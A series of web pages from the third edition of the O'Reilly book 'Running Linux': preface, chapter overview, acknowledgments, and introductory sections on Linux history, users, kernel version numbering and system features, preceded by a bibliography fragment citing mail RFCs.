RFC 822. Standard for the Format of ARPA Internet Text Messages, D. Crocker,

The definitive source of wisdom regarding, well, RFC-conformant mail. Everyone knows it; few have really read it.

RFC 821. Simple Mail Transfer Protocol, J. B. Postel

Defines SMTP, the mail transport protocol over TCP/IP.

Previous | Home | Next
16.2. Electronic Mail | Book Index | Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Preface (Running Linux)

 Running LinuxSearch this book
Previous Next

Preface

This is a book about Linux, a free implementation of Unix for Intel 386 (or higher), Alpha, SPARC, PowerPC, Motorola 680x0 (m68k), and other personal computer and server architectures. In this book, we want to show how you can completely change the way you work with computers by exploring the world of a powerful and free operating system--one that goes against the grain of the traditional PC world. Setting up and running a Linux system can be challenging, rewarding, and a lot of fun; we think that Linux brings a great deal of excitement back into computing. We invite you to dive in, enjoy yourself, and be the first on your block to know what it means to tweak your dot clocks and rdev your kernel image.

We aim this book at readers who are inquisitive and creative enough to delve full-tilt into the world of Linux. Linux represents something of a rebellion against commercial operating systems, and many of its users are the kind of people who like living on the edge of the latest technological trends. Sure, the casual reader can set up and run a Linux system (or hundreds of them!) without much trouble, but the purpose of this book is to dig deeper into the system and bring you completely into the Linux mentality. Rather than gloss over the messier details, we explain the concepts by which the system actually works, so that you can troubleshoot problems on your own. By sharing the accumulated expertise of several Linux experts, we hope to give you enough confidence so that one day you can call yourself a true Linux Guru.

This is the third edition of Running Linux. In this edition, we have completely updated the installation, configuration, and tutorial information to be up-to-date with the latest Linux software distributions (including Red Hat, SuSE, and Debian) and many application packages. The core of the book, however, has not changed much. This was intentional: in the first two editions we made a great effort to make the book as robust as possible, even though Linux itself is under constant development. This philosophy worked remarkably well and has been preserved in this new, updated edition. We think this book will be of use to you for a long time to come.

This book concentrates on the version of Linux for the Intel x86 family of processors (the 386/486, Pentium, Pentium Pro, and Pentium II/III chips). We have also included appendices detailing the installation and basic configuration procedures for several other architectures, including Alpha, SPARC, m68k, and PowerPC ports of Linux. However, apart from the basic installation procedures, the rest of this book, which focuses on using the system, applies to any port of Linux.

Kalle Dalheimer has joined Matt Welsh and Lar Kaufman as co-authors for this third edition. Kalle has been active in the Linux community for some time and was instrumental in the development of KDE (a popular desktop environment for Linux). Kalle has authored most of the new material in this edition, and his particular expertise has brought a fresh perspective to the technical aspects of this book.

In the preface to the first edition, we said that "Linux has the potential to completely change the face of the PC operating system world." Looking back, we think it's obvious that this has already happened. Linux has erupted into the computing mainstream with an amazing force: it has been covered by every major media channel, has helped usher in the so-called "Open Source Revolution," and is widely claimed as the most viable competitor to Microsoft's dominance in the operating systems market. Today, most estimates place the number of Linux users worldwide at over 10 million. Linux has matured to the point where many people don't need to know much about their systems: they can simply install the software and use it. So, perhaps you will find much of the detailed advice in this volume superfluous; at the very least, retain it for historical evidence.

In writing this book, we wanted to make Linux a real choice for the many personal computer users who find themselves trapped within the limitations of commercial operating systems. Because of the cooperative nature of the system, certain aspects of Linux can be confusing or apparently ad hoc. In this book, we've attempted to condense as much wisdom as possible based on correspondence with thousands of users worldwide (and far too much time playing with our own Linux systems). Linux really can change the way you think about computing--this book will show you how.

The world of Linux has changed a lot between the previous edition of Running Linux and this one. But most of these changes have been in its image rather than its substance: Forbes magazine and the Economist are excited about the growth of Linux, major computer companies like IBM, Hewlett Packard, Oracle, and Compaq are supporting Linux in various ways, and the "open source" model (originally known as free software) that Linux exemplifies is all over the news.

Linux itself has improved along the way, and the programs you run on Linux have matured impressively. Linux can now be used for massive, mission-critical servers with multiple processors, clusters, and RAID disk arrays. Since this is a getting-started book, we don't talk about those things. Rather, we concentrate on the more introductory aspects of the system, but we do cover several server-related topics (specifically, setting up Samba and web servers).

A major new development covered in this third edition is KDE. KDE (and GNOME, a similar project) has brought a new, modern look-and-feel to the Linux desktop, making the system poised to conquer the personal productivity computing market once and for all.

In addition to new sections on KDE and Samba, this edition offers introductions to PPP and to building Java [image] programs on Linux. Of course, all the other information has been completely updated as well.

0.1. Why People Like Linux

Why on earth would you want to run Linux? Good question. What you have now works, doesn't it? Windows 98 is a good operating system, but it has a lot of limitations. Being tailored for low-end home users, Windows doesn't deliver the performance or flexibility that many people expect out of a PC operating system. Here are a few reasons why people are switching to Linux:

It's free.

That is, Linux is a freely redistributable clone of the Unix operating system (OS). You can get Linux free from someone who has it, from the World Wide Web, or you can buy it at a reasonable price on CD-ROM from a vendor who has packaged it (probably with added value), possibly with support services.

It's popular.

It runs on inexpensive Pentium Pro, Pentium II, AMD, and Cyrix chips, and even older 386/486 machines. Linux also runs on personal PCS based on the Intel Pentium architecture, higher-end workstations based on the SPARC or Alpha architecture, PowerPCs, and 68k-based Macs. Linux supports a broad range of video cards, sound cards, CD-ROM and disk drives, printers, scanners, and other devices.

Linux has an enormous user community presence on the World Wide Web, with many web sites devoted to providing information and discussion about the system. A growing number of commercial software vendors are developing applications for Linux, including Corel WordPerfect, the StarOffice suite from Star Division, and a number of database products from big names such as Oracle, Informix, and IBM.

It's powerful.

You will be pleased to see how fast the system runs, even with many processes running and with multiple windows open. Linux makes excellent use of the hardware. Many commercial operating systems (including Windows 98) make little use of the advanced multitasking capabilities of the Pentium processor. Linux is native to this architecture and uses them all. A Linux machine with a reasonably fast processor and a sufficient amount of RAM can perform as well, or better, than Unix workstations costing $10,000 or more.

It is of good quality, and runs high-quality software applications.

Linux is being developed publicly with hundreds of programmers and users refining it, but with the individual vision and focus of its originator, Linus Torvalds. It incorporates the work of universities, companies, and individuals in the form of highly developed compilers, editors, utilities, and scripts that have been developed over the last quarter century. Unlike other new operating systems, Linux already has an enormous base of applications freely available for your use--from major scientific applications, to multimedia tools, to games.

It has full Unix features.

Linux is a true multiuser, multitasking operating system that supports multiple processors on some systems. It uses the X Window System graphical user interface (GUI) and offers several different integrated desktop environments, including KDE and GNOME. Full networking support (TCP/IP, SLIP, PPP, and UUCP, among others) is available.

It's highly compatible with Windows 95/98, Windows NT, and MS-DOS.

You can install Linux along with other disk partitions that contain Windows 98 or other operating systems. Linux can directly access files on Windows systems from the floppy or hard drive. Developers are working on emulators for both Windows 98 and MS-DOS, so that eventually you can run commercial applications built for Windows under Linux. Linux does not run under Windows; it is completely independent of it, but features have been added to allow the separate systems to work together.

It is small.

The basic OS will run on 8 MB of system memory, including a GUI and window manager. A good basic system will fit in 10 to 20 MB of disk storage. (If this seems like a lot of disk space, it's because Linux provides a lot of utilities.) Linux has even been tuned to run on low-memory embedded systems (such as those used in network routers or robots), and in hand-held Personal Digital Assistants such as the PalmPilot!

It is big.

Some of the larger distributions fill more than 1 GB of uncompressed disk storage in binary files alone. (Full source code is freely available for Linux and is included in many CD-ROM distributions of the software.) The number of powerful utilities and applications ported to Linux grows constantly. You could probably fill several gigabytes of hard disk with them, even without loading up on graphics and audio files. Linux has even been used to build some of the largest supercomputers in the world by networking together dozens of PCs, each running Linux, and using them as one large computer.

Most Linux users can run a complete system in 300 MB or so of disk space. This includes all the basics, as well as nice extras such as the X Window System GUI, text-processing tools, and development utilities such as compilers and libraries. But if you're a real power user, much more is available.

It's supported.

The biggest line of support is the many web sites devoted to Linux (along with thousands of newsgroup participants), but you can also contract for support from an independent company or buy a supported version of Linux from one of its distributors.

It's well-documented.

There is this book (an excellent start!), which is also available in French, German, Japanese, and Chinese. The Linux development community established the Linux Documentation Project (LDP) early on, which maintains a large amount of online documentation about the system. The many books, FAQ lists, and "how-to" documents from the LDP can guide you through almost any task that needs to be done under Linux. Once you get over a few installation humps, Linux is more or less like any other Unix system, so the many general books about Unix use and administration will give you all the help you need. Finally, there is the popular press, which has written hundreds of books on Linux--both introductory and advanced--which have been translated into most major languages around the world.

Previous | Home | Next
H.5. Other Interesting Packages | Book Index | 0.2. Organization of This Book
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Organization of This Book (Running Linux)

 Running LinuxSearch this book
Previous Next

0.2. Organization of This Book

Each chapter of this book contains a big chunk of information. It takes you into a world of material that could easily take up several books. But we move quickly through the topics you need to know.

Chapter 1, "Introduction to Linux", tries to draw together many different threads. It explains why Linux came to be and what makes it different from other versions of Unix as well as other operating systems for personal computers.

Chapter 2, "Preparing to Install Linux", describes preliminary tasks that you may have to do before installation, such as partitioning your disk (in case you want to run another operating system as well as Linux).

Chapter 3, "Installation and Initial Configuration", is a comprehensive tutorial on installing and configuring Linux on your system.

Chapter 4, "Basic Unix Commands and Concepts", offers a system administrator's introduction to Unix, for people who need one. It is intended to give you enough tools to perform the basic tasks you'll need to do throughout the book. Basic commands are covered, along with some tips for administrators and some concepts you should know.

Chapter 5, "Essential System Management"; Chapter 6, "Managing Filesystems, Swap, and Devices"; Chapter 7, "Upgrading Software and the Kernel"; and Chapter 8, "Other Administrative Tasks", cover system administration and maintenance. These are perhaps the most important and useful chapters of the book; they cover user account management, backups, software upgrading, building a new kernel, and more.

Chapter 9, "Editors, Text Tools, Graphics, and Printing", introduces you to the most popular and commonly used text tools and editors on Linux--vi and Emacs--and shows you how to print a document and how to use various graphics programs.

Chapter 10, "Installing the X Window System", shows you how to install and configure the X Window System, a powerful GUI for Linux and Unix systems. We show you how to overcome problems you might encounter when your distribution installs the software and how to configure it for the best performance on your video hardware.

Chapter 11, "Customizing Your X Environment", shows you how to set up your own visual environment under the X Window System, covering a wide range of the powerful customizations the system makes available, the KDE desktop, and a few useful programs that run under X.

Chapter 12, "Windows Compatibility and Samba", presents various tools for interfacing with DOS and Windows systems, particularly the Samba server that integrates Linux with other users running PCs.

Chapter 13, "Programming Languages", and Chapter 14, "Tools for Programmers", are for programmers. Compilers, interpreters, debuggers, and many other tools for programming under Linux are presented.

Chapter 15, "TCP/IP and PPP", tells you how to set up your all-important connection to the outside world. It shows you how to configure your system so it can work on a local area network or communicate with an Internet service provider using PPP.

Chapter 16, "The World Wide Web and Electronic Mail", goes beyond basic network configuration and shows you how to configure electronic mail, set up the Elm and Netscape mail readers, and even run your own World Wide Web server.

Appendix A, "Sources of Linux Information", tells you about other useful documentation for Linux and other sources of help.

Appendix B, "The GNOME Project", contains information on the GNOME project.

Appendix C, "Installing Linux on Digital/ Compaq Alpha Systems", shows you how to install Linux on the first non-Intel system that supported it, the 64-bit Digital Alpha machine.

Appendix D, "LinuxPPC: Installing Linux on PowerPC Computers", shows how to install Linux on the popular PowerPC platform.

Appendix E, "Installing Linux/m68k on Motorola 68000-Series Systems", shows how to install Linux on systems using the Motorola 680x0 (m68k) processor, like the Amiga, Atari, and some Apple Macintosh models.

Appendix F, "Installing Linux on Sun SPARC Systems", shows how to install Linux on powerful Sun SPARC systems.

Appendix G, "LILO Boot Options", lists LILO boot options.

Appendix H, "Zmodem File Transfer", describes tools for telecommunication using a modem.

The Bibliography lists a number of books, HOWTOs, and Internet RFCs of interest to Linux users and administrators.

Previous | Home | Next
0. Preface | Book Index | 0.3. Conventions Used in This Book
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Acknowledgments (Running Linux)

 Running LinuxSearch this book
Previous Next

0.5. Acknowledgments

This book is the result of many people's efforts, and as expected, it would be impossible to list them all here. First of all, we would like to thank Andy Oram, who did an excellent job of editing, writing, and whip-cracking to get this book into shape. Apart from being the overall editor, Andy contributed the Unix tutorial chapter as well as material for the X and Perl sections. It was Andy who approached us about writing for O'Reilly in the first place, and he has demonstrated the patience of a saint when waiting for our updates to trickle in.

Those of you who are already familiar with Linux may notice that some portions of this book, such as the introductory and installation chapters, have been released as part of Linux Installation and Getting Started, a free book available via the Internet. O'Reilly allowed us to release those portions (originally written for this book) to the I&GS, so they could benefit the Internet-based Linux community and we would get feedback and corrections from its readership. Thanks to everyone who contributed edits to those sections.

We would also like to thank the following people for their work on the Linux operating system--without all of them, there wouldn't be anything to write a book about: Linus Torvalds, Richard Stallman, Donald Becker, Alan Cox, Remy Card, Eric Raymond, Ted T'so, H.J. Lu, Miguel de Icaza, Ross Biro, Drew Eckhardt, Ed Carp, Eric Youngdale, Fred van Kempen, Steven Tweedie, Patrick Volkerding, Dirk Hohndel, Matthias Ettrichand, and all of the other hackers, from the kernel grunts to the lowly docos, too numerous to mention here.

Special thanks to the following people for their contributions to the Linux Documentation Project, technical review of this book, or general friendliness and support: Phil Hughes, Melinda McBride, Bill Hahn, Dan Irving, Michael Johnston, Joel Goldberger, Michael K. Johnson, Adam Richter, Roman Yanovsky, Jon Magid, Erik Troan, Lars Wirzenius, Olaf Kirch, Greg Hankins, Alan Sondheim, Jon David, Anna Clark, Adam Goodman, Lee Gomes, Rob Walker, Rob Malda, Jeff Bates, and Volker Lendecke. We are grateful to Shawn Wallace and Umberto Crenca for the gorgeous shot in Chapter 9, "Editors, Text Tools, Graphics, and Printing" of The Gimp in use.

For the third edition, we thank Phil Hughes, Robert J. Chassell, Tony Cappellini, Craig Small, Nat Makarevitch, Chris Davis, Chuck Toporek, Frederic HongFeng, and David Pranata for wide-ranging comments and corrections. Particularly impressive were the efforts put in by an entire team of Debian developers and users, organized for us by Ossama Othman and Julian T. J. Midgley. Julian set up a CVS repository for comments and the book was examined collectively by him, Chris Lawrence, Robert J. Chassell, Kirk Hilliard, and Stephen Zander.

As you can see from a glance at the first pages of the appendices, we had a lot of contributions from porters and developers to document Linux support and installation on non-Intel systems. Barrett G. Lyon and Richard Payne (Alpha), Jason Haas (LinuxPPC), Chris Lawrence (Linux/m68k), and David S. Miller (SPARC) all gave up a lot of their personal time to create the appendices. Kostas Gewrgiou, Jambi Ganbar, Sanjeev Gupta, Roman Hodek, Geert Uytterhoeven, Jes Sorensen, Hubert Figuiere, and Christopher F. Miller reviewed the appendices for various systems and offered corrections.

If you have questions, comments, or corrections for this book, please feel free to get in touch with the authors. Matt Welsh can be reached on the Internet at mdw@cs.berkeley.edu. Lar Kaufman can be reached at lark@conserve.org. Kalle Dalheimer can be reached at kalle@dalheimer.de.

Previous | Home | Next
0.4. How to Contact Us | Book Index | 1. Introduction to Linux
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Introduction to Linux (Running Linux)

 Running LinuxSearch this book
Previous Next

Chapter 1. Introduction to Linux

Contents:

About This Book
A Brief History of Linux
Who's Using Linux?
System Features
Software Features
About Linux's Copyright
Open Source and the Philosophy of Linux
Differences Between Linux and Other Operating Systems
Hardware Requirements
Sources of Linux Information
Getting Help

This is a book about Linux, a free Unix clone for personal computer systems that supports full multitasking, the X Window System, TCP/IP networking, and much more. Hang tight and read on: in the pages that follow, we describe the system in meticulous detail.

Linux has generated more excitement in the computer field than any other development of the past several years. Its surprisingly fast spread and the loyalty it inspires recall the excitement of do-it-yourself computing that used to characterize earlier advances in computer technology. Ironically, it succeeds by rejuvenating one of the oldest operating systems still in widespread use, Unix. Linux is both a new technology and an old one.

In narrow technical terms, Linux is just the operating system kernel, offering the basic services of process scheduling, virtual memory, file management, and device I/O. In other words, Linux itself is the lowest-level part of the operating system.

However, most people use the term "Linux" to refer to the complete system--the kernel along with the many applications that it runs: a complete development and work environment including compilers, editors, graphical interfaces, text processors, games, and more.

This book will be your guide to Linux's shifting and many-faceted world. Linux has developed into an operating system for businesses, education, and personal productivity, and this book will help you get the most out of it.

Linux can turn any personal computer into a workstation. It will give you the full power of Unix at your fingertips. Businesses are installing Linux on entire networks of machines, using the operating system to manage financial and hospital records, distributed-user computing environments, telecommunications, and more. Universities worldwide are using Linux for teaching courses on operating-systems programming and design. And, of course, computing enthusiasts everywhere are using Linux at home, for programming, document production, and all-around hacking.

Apart from workstation and personal use (many people find it convenient to run Linux on their laptop computers), Linux is also being used to drive big servers. Increasingly, people are discovering that Linux is powerful, stable, and flexible enough to run the largest disk arrays and multiprocessor systems--with applications ranging from World Wide Web servers to corporate databases. Scientists are wiring together arrays of Linux machines into enormous "clusters" to solve the most computationally intensive problems in physics and engineering. With the latest release of the Samba software suite, Linux can even act as a Windows file and print server--with better performance than Windows NT!

What makes Linux so different is that it's a free implementation of Unix. It was and still is developed by a group of volunteers, primarily on the Internet, who exchange code, report bugs, and fix problems in an open environment. Anyone is welcome to join in the Linux development effort: all it takes is interest in hacking a free Unix clone and some kind of programming know-how. This book is your tour guide.

In this book, we assume you're comfortable with a personal computer (running any operating system, such as Windows 95, or some other version of Unix). We also assume that you're willing to do some experimentation to get everything working correctly--after all, this is half of the fun of getting into Linux. Linux has evolved into a system that is amazingly easy to install and configure, but because it is so powerful, some details are more complex than you'll find in the Windows world. With this book as your guide, we hope you'll find that setting up and running your own Linux system is quite easy and a great deal of fun.

1.1. About This Book

This book is an overview and entry-level guide to the Linux system. We attempt to present enough general and interesting information on a number of topics to satisfy Unix novices and wizards alike. This book should provide sufficient material for almost anyone to install and use Linux and get the most out of it. Instead of covering many of the volatile technical details--those things that tend to change with rapid development--we give you enough background to find out more on your own.

This book is geared for those people who really want to exploit the power that Linux provides. Rather than gloss over all of the tricky details, we give you enough background to truly understand how the various parts of the system work, so you can customize, configure, and troubleshoot the system on your own.

Linux is not difficult to install and use. However, as with any implementation of Unix, there is often some black magic involved to get everything working correctly. We hope this book will get you on the Linux tour bus and show you how cool this operating system can be.

In this book, we cover the following topics:

  • What is Linux? The design and philosophy of this unique operating system, and what it can do for you.

  • All the details needed to run Linux, including suggestions on what kind of hardware configuration is recommended for a complete system.

  • How to obtain and install Linux. We cover the Red Hat, SuSE, and Debian distributions in more detail than others, but the background here should be adequate to cover any release of the system.

  • For new users, an introduction to the Unix system, including an overview of the most important commands and concepts.

  • The care and feeding of the Linux system, including system administration and maintenance, upgrading the system, and how to fix things when they don't work.

  • Getting the most out of your Linux system, with "power tools" such as TeX, Emacs, KDE, and more.

  • The Linux programming environment. The tools of the trade for programming and developing software on the Linux system. We introduce compilation and debugging of C and C++ programs, Java, Perl, shell scripts, and Tcl/Tk.

  • Using Linux for telecommunications and networking, including the basics of TCP/IP configuration, PPP for Internet connectivity over a modem, ISDN configuration, email, news, and Web access--we even show how to configure your Linux system as a web server.

There are a million things we'd love to show you how to do with Linux. Unfortunately, in order to cover them all, this book would be the size of the unabridged Oxford English Dictionary and would be impossible for anyone (let alone the poor authors) to maintain. Instead we've tried to include the most salient and interesting aspects of the system and show you how to find out more.

While much of the discussion in this book is not overly technical, it helps to have previous experience with another Unix system. For those who don't have Unix experience, we have included a short tutorial in Chapter 4, "Basic Unix Commands and Concepts", for new users. Chapter 5, "Essential System Management", is a complete chapter on systems administration, that should help even seasoned Unix users run a Linux system.

If you are new to Unix, you'll want to pick up a more complete guide to Unix basics. We don't dwell for long on the fundamentals, instead preferring to skip to the fun parts of the system. At any rate, while this book should be enough to get you running, more information on using Unix and its many tools will be essential for most readers. See Appendix A, "Sources of Linux Information", for a list of sources of information.

Previous | Home | Next
0.5. Acknowledgments | Book Index | 1.2. A Brief History of Linux
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A Brief History of Linux (Running Linux)

 Running LinuxSearch this book
Previous Next

1.2. A Brief History of Linux

Unix is one of the most popular operating systems worldwide because of its large support base and distribution. It was originally developed as a multitasking system for minicomputers and mainframes in the mid-1970s. It has since grown to become one of the most widely used operating systems anywhere, despite its sometimes confusing interface and lack of central standardization.

The real reason for Unix's popularity? Many hackers feel that Unix is the Right Thing--the One True Operating System. Hence, the development of Linux by an expanding group of Unix hackers who want to get their hands dirty with their own system.

Versions of Unix exist for many systems, ranging from personal computers to supercomputers such as the Cray Y-MP. Most versions of Unix for personal computers are quite expensive and cumbersome. At the time of this writing, a one-machine version of AT&T's System V for the 386 runs at about $US1500.

Linux is a freely distributable version of Unix, originally developed by Linus Torvalds, who began work on Linux in 1991 as a student at the University of Helsinki in Finland. Linus now works for Transmeta Corporation, a start-up in Santa Clara, California, and continues to maintain the Linux kernel, that is, the lowest-level core component of the operating system.

Linus released the initial version of Linux for free on the Internet, inadvertently spawning one of the largest software-development phenomena of all time. Today, Linux is authored and maintained by a group of several thousand (if not more) developers loosely collaborating across the Internet. Companies have sprung up to provide Linux support, to package it into easy-to-install distributions, and to sell workstations pre-installed with the Linux software. In March 1999, the first Linux World Expo trade show was held in San Jose, California, with reportedly well over 12,000 people in attendance. Most estimates place the number of Linux users worldwide somewhere around the 10 million mark (and we expect this number will look small by the time you read this).

Inspired by Andrew Tanenbaum's Minix operating system (another free Unix for PCs--albeit a very simple one), Linux began as a class project in which Linus wanted to build a simple Unix system that could run on a 386-based PC. The first discussions about Linux were on the Usenet newsgroup comp.os.minix. These discussions were concerned mostly with the development of a small, academic Unix system for Minix users who wanted more.

The very early development of Linux dealt mostly with the task-switching features of the 80386 protected-mode interface, all written in assembly code. Linus writes:

After that it was plain sailing: hairy coding still, but I had some devices, and debugging was easier. I started using C at this stage, and it certainly speeds up development. This is also when I start to get serious about my megalomaniac ideas to make "a better Minix than Minix." I was hoping I'd be able to recompile gcc under Linux some day …

Two months for basic setup, but then only slightly longer until I had a disk driver (seriously buggy, but it happened to work on my machine) and a small filesystem. That was about when I made 0.01 available [around late August of 1991]: it wasn't pretty, it had no floppy driver, and it couldn't do much anything. I don't think anybody ever compiled that version. But by then I was hooked, and didn't want to stop until I could chuck out Minix.

No announcement was ever made for Linux Version 0.01. The 0.01 sources weren't even executable: they contained only the bare rudiments of the kernel source and assumed that you had access to a Minix machine to compile and play with them.

On October 5, 1991, Linus announced the first "official" version of Linux, version 0.02. At this point, Linus was able to run bash (the GNU Bourne Again Shell) and gcc (the GNU C compiler), but not much else was working. Again, this was intended as a hacker's system. The primary focus was kernel development; none of the issues of user support, documentation, distribution, and so on had even been addressed. Today, the situation is quite different--the real excitement in the Linux world deals with graphical user environments, easy-to-install distribution packages, and high-level applications such as graphics utilities and productivity suites.

Linus wrote in comp.os.minix :

Do you pine for the nice days of Minix-1.1, when men were men and wrote their own device drivers? Are you without a nice project and just dying to cut your teeth on an OS you can try to modify for your needs? Are you finding it frustrating when everything works on Minix? No more all-nighters to get a nifty program working? Then this post might be just for you.

As I mentioned a month ago, I'm working on a free version of a Minix-lookalike for AT-386 computers. It has finally reached the stage where it's even usable (though may not be depending on what you want), and I am willing to put out the sources for wider distribution. It's just version 0.02 … but I've successfully run bash, gcc, GNU make, GNU sed, compress, etc. under it.

After Version 0.03, Linus bumped the version number up to 0.10, as more people started to work on the system. After several further revisions, Linus increased the version number to 0.95, to reflect his expectation that the system was ready for an "official" release very soon. (Generally, software is not assigned the version number 1.0 until it's theoretically complete or bug-free.) This was in March 1992. Almost a year and a half later, in late December 1993, the Linux kernel was still at Version 0.99.pl14--asymptotically approaching 1.0. Version 1.0 appeared in March 1994. As of the time of this writing (March 1999), the current kernel version is 2.2.6, while the 2.3 kernel versions are being concurrently developed. (We'll explain the Linux versioning conventions in detail later.)

Linux could not have come into being without the GNU tools created by the Free Software Foundation. Their gcc compiler, which we'll discuss in Chapter 13, "Programming Languages", gave life to Linus Torvalds's code. GNU tools have been intertwined with the development of Linux from the beginning. Because of the critical contributions of these tools, the Free Software Foundation even requests that distributions of Linux with accompanying utilities be called GNU/Linux.

Berkeley Unix (BSD) has also played an important role in Linux--not so much in its creation, but in providing the tools that make it popular. Most of the utilities that come with Linux distributions are ported from BSD. Networking daemons and utilities are particularly important. The kernel networking code for Linux was developed from the ground up (two or three times, in fact), but the daemons and utilities are vintage BSD.

Today, Linux is a complete Unix clone, capable of running the X Window System, TCP/IP, Emacs, Web, mail and news software, you name it. Almost all major free software packages have been ported to Linux, and commercial software is becoming available. In fact, many developers start by writing applications for Linux, and port them to other Unix systems later. More hardware is supported than in original versions of the kernel. Many people have executed benchmarks on Linux systems and found them to be faster than workstations from Sun Microsystems and Compaq, and Linux performs better than or as well as Windows 98 and Windows NT on a wide range of benchmarks. Who would have ever guessed that this "little" Unix clone would have grown up to take on the entire world of personal and server computing?

Previous | Home | Next
1. Introduction to Linux | Book Index | 1.3. Who's Using Linux?
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Who's Using Linux? (Running Linux)

 Running LinuxSearch this book
Previous Next

1.3. Who's Using Linux?

Application developers, system administrators, network providers, kernel hackers, multimedia authors: these are a few of the categories of people who find that Linux has a particular charm.

Unix programmers are increasingly using Linux because of its cost--they can pick up a complete programming environment for a few dollars and run it on cheap PC hardware--and because Linux offers a great basis for portable programs. It's a modern operating system that is POSIX-compliant and looks a lot like System V, so code that works on Linux should work on other contemporary systems. Linux on a modest PC runs faster than many Unix workstations.

Networking is one of Linux's strengths. It has been adopted with gusto by people who run community networks like Free-Nets or who want to connect nonprofit organizations or loose communities of users through UUCP. Linux makes a good hub for such networks. Since Linux also supports Network File System (NFS) and Network Information Service (NIS), you can easily merge a personal computer into a corporate or academic network with other Unix machines. It's easy to share files, support remote logins, and run applications on other systems. Linux also supports the Samba software suite, which allows a Linux machine to act as a Windows file and print server--many people are discovering that the combination of Linux and Samba for this purpose is faster (and cheaper) than running Windows NT.

Kernel hackers were the first to come to Linux--in fact, the ones who helped Linus Torvalds create Linux--and are still a formidable community. If you want to try tuning buffer sizes and the number of table entries to make your applications run a little faster, Linux is one of your best choices. You'll get a lot of sympathy on the Net when things go wrong, too.

Finally, Linux is becoming an exciting forum for multimedia. This is because it's compatible with an enormous variety of hardware, including the majority of modern sound and video cards. Several programming environments, including the MESA 3D toolkit (a free OpenGL implementation), have been ported to Linux. The GIMP (a free Adobe Photoshop work-alike) was originally developed under Linux, and is becoming the graphics manipulation and design tool of choice for many artists. For example, during the production of the movie "Titanic," Linux machines (with Alpha processors) were used to render some of the trick effects.

Linux has also had some real-world applications. Linux systems have traveled the high seas of the North Pacific, managing telecommunications and data analysis for an oceanographic research vessel. Linux systems are being used at research stations in Antarctica. On a more basic level, several hospitals are using Linux to maintain patient records. One of the reviewers of this book uses Linux in the U.S. Marine Corps. Linux is proving to be as reliable and useful as other implementations of Unix.

So Linux is spreading out in many directions. Even naive end users can enjoy it if they get the support universities and corporations typically provide their computer users. Configuration and maintenance require some dedication. But Linux proves to be cost-effective, powerful, and empowering for people who like having that extra control over their environments.

Previous | Home | Next
1.2. A Brief History of Linux | Book Index | 1.4. System Features
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


System Features (Running Linux)

 Running LinuxSearch this book
Previous Next

1.4. System Features

Linux supports most of the features found in other implementations of Unix, plus quite a few not found elsewhere. This section is a nickel tour of the Linux kernel features.

1.4.1. A Note on Linux Version Numbers

One potentially confusing aspect of Linux for newcomers is the way in which different pieces of software are assigned a version number. When you first approach Linux, chances are you'll be looking at a CD-ROM distribution, such as "Red Hat Version 5.2" or "SuSE Linux Version 6.0." It's important to understand that these version numbers only relate to the particular distribution (which is a prepackaged version of Linux along with tons of free application packages, usually sold on CD-ROM). Therefore, the version number assigned by Red Hat, SuSE, or Debian might not have anything to do with the individual version numbers of the software in that distribution. Don't be fooled--just because one distribution company uses a higher version number than another doesn't mean that the software is any more up-to-date.

The Linux kernel, as well as each application, component, library, or software package in a Linux distribution, generally has its own version number. For example, you might be using gcc Version 2.7.2.3, as well as the XFree86 graphical user interface Version 3.3.1. As you can guess, the higher the version number, the newer the software is. By installing a distribution (such as Red Hat and SuSE), all of this is simplified for you since the latest versions of each package are usually included in the distribution.

The Linux kernel has a peculiar version numbering scheme that you should be familiar with. As mentioned before, the kernel is the core operating system itself, responsible for managing all of the hardware resources in your machine--such as disks, network interfaces, memory, and so on. Unlike Windows systems, the Linux kernel doesn't include any application-level libraries or graphical user interfaces. In some sense, as a user you will never interact with the kernel directly, but rather through interfaces such as the shell or the GUI (more on this later).

However, many people still consider the Linux kernel version to be the version of the "entire system," which is somewhat misleading. Someone might say, "I'm running kernel Version 2.3.32," but this doesn't mean much if everything else on the system is years out of date.

The Linux kernel versioning system works as follows. At any given time, there are two "latest" versions of the kernel out there (meaning available for download from the Internet)--the "stable" and "development" releases. The stable release is meant for most Linux users who aren't interested in hacking on bleeding-edge experimental features, but who need a stable, working system that isn't changing underneath them from day to day. The development release, on the other hand, changes very rapidly as new features are added and tested by developers across the Internet. Changes to the stable release consist mostly of bug fixes and security patches, while changes to the development release can be anything from major new kernel subsystems to minor tweaks in a device driver for added performance. The Linux developers don't guarantee that the development kernel version will work for everyone, but they do maintain the stable version with the intention of making it run well everywhere.

The stable kernel release has an even minor version number (such as 2.2), while the development release has an odd minor version number (such as 2.3). Note that the current development kernel always has a minor version number exactly one greater than the current stable kernel. So, when the current stable kernel is 2.4, the current development kernel will be 2.5. (Unless, of course, Linus decides to rename Version 2.4 to 3.0--in which case the development version will be 3.1, naturally).

Each of these kernel versions has a third "patch level" version number associated with it, such as 2.2.19 or 2.3.85. The patch level specifies the particular revision of that kernel version, with higher numbers specifying newer revisions. As of the time of this writing in July 1999, the latest stable kernel is 2.2.10 and the latest development kernel is 2.3.11.

1.4.2. A Bag of Features

Linux is a complete multitasking, multiuser operating system (just like all other versions of Unix). This means that many users can be logged into the same machine at once, running multiple programs simultaneously. Linux also supports multiprocessor systems (such as dual-Pentium motherboards), with support for up to 16 processors in a system, which is great for high-performance servers and scientific applications.

The Linux system is mostly compatible with a number of Unix standards (inasmuch as Unix has standards) on the source level, including IEEE POSIX.1, System V, and BSD features. Linux was developed with source portability in mind: therefore, you will probably find features in the Linux system that are shared across multiple Unix implementations. A great deal of free Unix software available on the Internet and elsewhere compiles on Linux out of the box.

If you have some Unix background, you may be interested in some other specific internal features of Linux, including POSIX job control (used by shells such as the C shell, csh, and bash), pseudoterminals ( pty devices), and support for national or customized keyboards using dynamically loadable keyboard drivers. Linux also supports virtual consoles, which allow you to switch between multiple login sessions from the system console in text mode. Users of the screen program will find the Linux virtual console implementation familiar.

Linux can quite happily co-exist on a system that has other operating systems installed, such as Windows 95/98, Windows NT, OS/2, or other versions of Unix. The Linux boot loader (LILO) allows you to select which operating system to start at boot time, and Linux is compatible with other boot loaders as well (such as the one found in Windows NT).

